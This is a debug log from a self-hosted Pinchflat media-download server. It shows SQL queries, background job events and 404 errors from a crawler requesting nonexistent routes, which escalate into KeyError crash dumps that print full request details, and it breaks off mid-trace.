s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:55.142 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:55:55.146 [debug] QUERY OK source="media_items" db=1.1ms queue=0.3ms idle=9.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:55:55.149 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=8.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:55:55.149 [info] Sent 200 in 27ms 18:55:55.152 [debug] QUERY OK source="sources" db=1.6ms queue=0.7ms idle=10.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:55:55.153 [debug] QUERY OK source="media_items" db=1.1ms idle=10.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:55:55.155 [debug] QUERY OK source="media_items" db=1.0ms idle=11.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:55:55.158 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:55:55.160 [debug] QUERY OK source="media_items" db=1.0ms idle=10.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 18:55:55.789 [debug] QUERY OK source="media_items" db=628.2ms idle=8.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:55:55.791 [info] Sent 200 in 668ms 18:56:00.962 [info] {"source":"oban","duration":386,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:56:16.645 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:46.648 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.963 [info] {"source":"oban","duration":425,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:57:16.651 [info] {"source":"oban","duration":2175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:22.489 [info] GET /media_profiles/1/edit 18:57:22.489 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:57:22.489 [info] GET /sources/2/force_index 18:57:22.491 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1016.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.491 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.5ms idle=1678.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:22.496 [debug] QUERY OK source="settings" db=2.7ms queue=0.1ms idle=682.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.496 [debug] QUERY OK source="settings" db=3.8ms queue=0.8ms idle=687.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.498 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:57:22.501 [debug] QUERY OK source="settings" db=3.6ms idle=686.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.498 [error] #PID<0.1305196.0> running PinchflatWeb.Endpoint (connection #PID<0.1305193.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305193.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 34234}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305196.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfGFyFfIEHhxEADNaS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305193.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 34234}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305193.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 34234}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305196.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfGFyFfIEHhxEADNaS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 5 (truncated) 18:57:22.505 [debug] QUERY OK source="settings" db=0.7ms queue=0.6ms idle=12.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.510 [info] Sent 200 in 21ms 18:57:46.654 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.964 [info] {"source":"oban","duration":531,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:58:16.656 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:26.705 [info] GET /download_logs 18:58:26.706 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 18:58:26.706 [info] GET /sources/2/media/20944/edit 18:58:26.706 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "20944", "source_id" => "2"} Pipelines: [:browser] 18:58:26.706 [info] Sent 200 in 737µs 18:58:26.708 [debug] QUERY OK source="media_items" db=0.7ms queue=0.5ms idle=894.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20944] 18:58:26.710 [debug] QUERY OK source="settings" db=1.7ms idle=896.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:26.711 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=898.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:26.712 [debug] QUERY OK source="settings" db=0.2ms idle=708.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:26.714 [info] Sent 200 in 8ms 18:58:46.659 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:59.286 [info] GET /sources/2/force_redownload 18:58:59.286 [info] GET /sources/2/sync_files_on_disk 18:58:59.288 [debug] QUERY OK source="settings" db=1.2ms idle=1222.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:59.288 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=1223.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:59.290 [debug] QUERY OK source="settings" db=0.3ms queue=0.6ms idle=1224.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:59.290 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:58:59.291 [debug] QUERY OK source="settings" db=1.4ms idle=1131.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:59.291 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:58:59.292 [error] #PID<0.1305246.0> running PinchflatWeb.Endpoint (connection #PID<0.1305243.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43732}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305246.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfLuYX6L4TrXMADj6x"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43732}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43732}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305246.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfLuYX6L4TrXMADj6x"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ 